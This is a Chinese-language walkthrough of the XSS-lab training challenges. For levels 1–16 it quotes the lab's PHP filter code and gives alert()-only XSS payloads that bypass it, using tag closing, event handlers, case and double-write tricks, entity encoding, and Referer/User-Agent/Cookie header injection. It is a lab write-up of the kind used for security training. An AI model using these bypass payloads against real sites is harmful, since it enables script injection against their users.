XSS-lab通過教程🐶

XSS-lab通過教程🐶

Level-1

payload://192.168.33.222:40577/level1.php?name=<script>alert(123)</script>

Level-2

  1. 我們隨便輸入123,查看閉合方式
    image

我們可以構造閉合input標籤,如何加入script語句

payload:"><script>alert(123)</script>

Level-3

  1. 首先我們用第二關的payload去嘗試,發現顯示是一樣的,但是沒有執行我們的js程式碼

image

  1. 查看源碼
<input name=keyword  value='".htmlspecialchars($str)."'>

我們發現使用了htmlspecialchars方法,它的作用是將特殊字元轉換為html實體。那麼什麼是HTML實體呢?
說白了就是HTML為了防止特殊符號。例如:

特殊字元 轉化後
& &
" "
< <
> >

這時候我們的思路就盡量要繞開使用新標籤,那麼瀏覽器還有一些事件可以執行js程式碼,如onfocus,onblur等,下面簡單介紹一下關於滑鼠事件的一些能引用js程式碼的函數:

屬性 描述
onclick 當用戶點擊某個對象時調用的事件句柄
onmouseenter 當滑鼠指針移動到元素上時觸發
onmouseover 滑鼠移到某元素之上

payload:' onclick ='javascript:alert(123)'//

注意:我們用的是點擊事件,所以我們輸入payload之後滑鼠還得點擊一下輸入框才能觸發程式碼

level-4

首先我們發現前端頁面跟第2關一樣,沒什麼區別,還是這樣的
image

源碼分析

# 我們可以看到首先接收參數,然後將<>都替換成了空
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
<input name=keyword  value="'.$str3.'">

所有說我們的payload裡面不能有<>這兩個符號,<script>就不能用了,還是用第三關的payload,只不過閉合方式不一樣,這一關是"

payload:" onclick='javascript:alert(123)'//

level-5

首先還是測試123看看閉合,發現跟第二關依然一樣,接下來我們看看源碼吧

源碼分析

# 獲取輸入的值,賦給$str變數
$str = strtolower($_GET["keyword"]);
# 將<script替換成<scr_ipt
$str2=str_replace("<script","<scr_ipt",$str);
# 將 on 替換成 o_n
$str3=str_replace("on","o_n",$str2);
<input name=keyword  value="'.$str3.'">

這一關我們可以看到帶有 <script> 和 on 標籤的都沒法用了,那麼onclick自然用不了了。我們可以嘗試構造一個 a 標籤,具體payload如下:

"></input><a href='javascript:alert(123)'>ads</a>

level-6

首先還是測試123看看閉合,發現跟第二關依然一樣,接下來我們看看源碼吧

源碼分析

# 替換了<script,on,src,data,href
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
<input name=keyword  value="'.$str6.'">

雖說這一關過濾了上面這些字元串,但是我們可以換大寫或者大小混寫就可以繞過了,還是用第五關的payload:

"></input><a Href='javascript:alert(123)'>ads</a>

level-7

首先還是測試123看看閉合,發現跟第二關依然一樣,接下來我們看看源碼吧

源碼分析

# 將輸入的字元全部替換成小寫,然後將下面這些字元串替換成空
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
<input name=keyword  value="'.$str6.'">

所以這一關我們就沒法用大寫或者大小混寫繞過了,但是我們可以用雙寫繞過
payload:"><scriscriptpt>alert(123)</scriscriptpt>

level-8

首先還是測試123看看閉合,發現跟第二關依然一樣,接下來我們看看源碼吧

源碼分析

# 將輸入的關鍵字替換成小寫,然後過濾下面的字元串,最後進行html實體轉義
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
<input name=keyword  value="'.htmlspecialchars($str).'">

所以說這一關用不了 <script> 標籤了,我們輸入第二關的payload試試,然後查看網頁源碼發現

image

發現上面value的標籤都被html實體化了,下面href裡面的內容被替換了,那裡就是我們輸入的內容,我們直接輸入javascript:alert(123)到a標籤的href屬性中就可以觸發xss,我們發現直接輸入的話script會被_下劃線隔開,所以我們進行html編碼輸入:

payload:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

level-9

首先我們還是拿第二關的payload測試一下,發現不一樣的,現在變成輸出指定的字元串了

image

居然說輸入的不合法,那麼我們輸入一個合法的看看是什麼樣

payload://www.baidu.com

image

再加點東西動動手腳看看👻

payload:javascript:alert(123)////www.baidu.com

image

發現還是不行,被替換了,編碼輸入在看看

payload:

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x32;&#x33;&#x29;////www.baidu.com

level-10

源碼分析

$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">

這個題跟前面的都不一樣,首先查看源碼發現了三個隱藏的input標籤

image

那麼我們根據他們的name構造傳值,改變他們的type屬性,看誰能顯示出來,誰就能被輸入,我們查看源碼發現最後一位顯示出來了。

t_link=" type='text'>//&t_history=" type='text'>//&t_sort=" type='text'>//

payload:&t_sort=" type='text' onclick='javascript:alert(1)'>//

level-11

首先我們查看一下源碼,發現又有四個標籤隱藏了

image

還是一樣的測試一下那個標籤能夠被顯示出來,說明它能夠接收數據

payload:

t_link=" type='text'%3E//&t_history=" type='text'%3E//&t_sort=" type='text'%3E//&t_ref=" typr='text'%3E//

發現還是t_sort,只不過"和>被過濾了,再仔細看看,發現上面t_ref的值咋變了,查看源碼發現原來這個題的觸發點在t_ref

源碼分析

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">

我們發現他是接收http頭部的REFERER欄位的值,然後經過過濾>和<之後插入了t_ref的值之中,所以我們抓包修改referer欄位的值觸發xss

payload:" type='text' onclick='javascript:alert(1)'>//

level-12

首先看看源碼,發現又有四個隱藏標籤

image

然後還發現t_ua居然有值,沒猜錯的話這個題觸發點應該在uagent,我們看看源碼

源碼分析

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">

好的,看了源碼之後,發現這個題跟第11關的區別就是這個題的觸發點在Uagent,我們抓包傳入payload:

" type='text' onclick='javascript:alert(1)'>//

level-13

首先看看源碼發現又有四個隱藏欄位

image

然後測試一下看哪個能夠顯示出來說明能夠輸入,我們發現t_sort被過濾了,然後就沒有了

image

按這尿性,不用猜也知道這一關觸發點肯定在t_cook,我們看看源碼

源碼分析

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">

果然觸發點在cookie的user欄位,不說了,直接抓包打payload

" type='text' onclick='javascript:alert(1)'>//

level-14

xswl,md一點頭緒沒有,上網一查題有問題,溜了溜了!🎈

level-15

不說了,先看一波源碼

image

啥資訊沒看著,就看到個這個,上萬能的百度搜一下,還真搜到用法了,包含外部html文件

image

話說包含外部文件傳參點是啥,想不出來,再看一波源碼原來是src

$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';

說是包含外部html文件,那我們拿第一關的網址試試

image

發現<和>被html實體化了,而且這一關沒有任何點擊的地方,所以我們只能用onerror方法,構造一個img標籤,payload:?src='//xss/level1.php?name=<img src=asd onerror=alert(1)>'

level-16

源碼分析

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("     ","&nbsp;",$str4);
echo "<center>".$str5."</center>";

我們發現過濾了script,空格,/,所以我們嘗試加個a標籤,空格用回車編碼代替,點擊圖片過關
payload:<a%0D%0Aonclick='alert(1)'>

level 17

不會了,後面等我升級了在來填這個坑吧!😭😭😭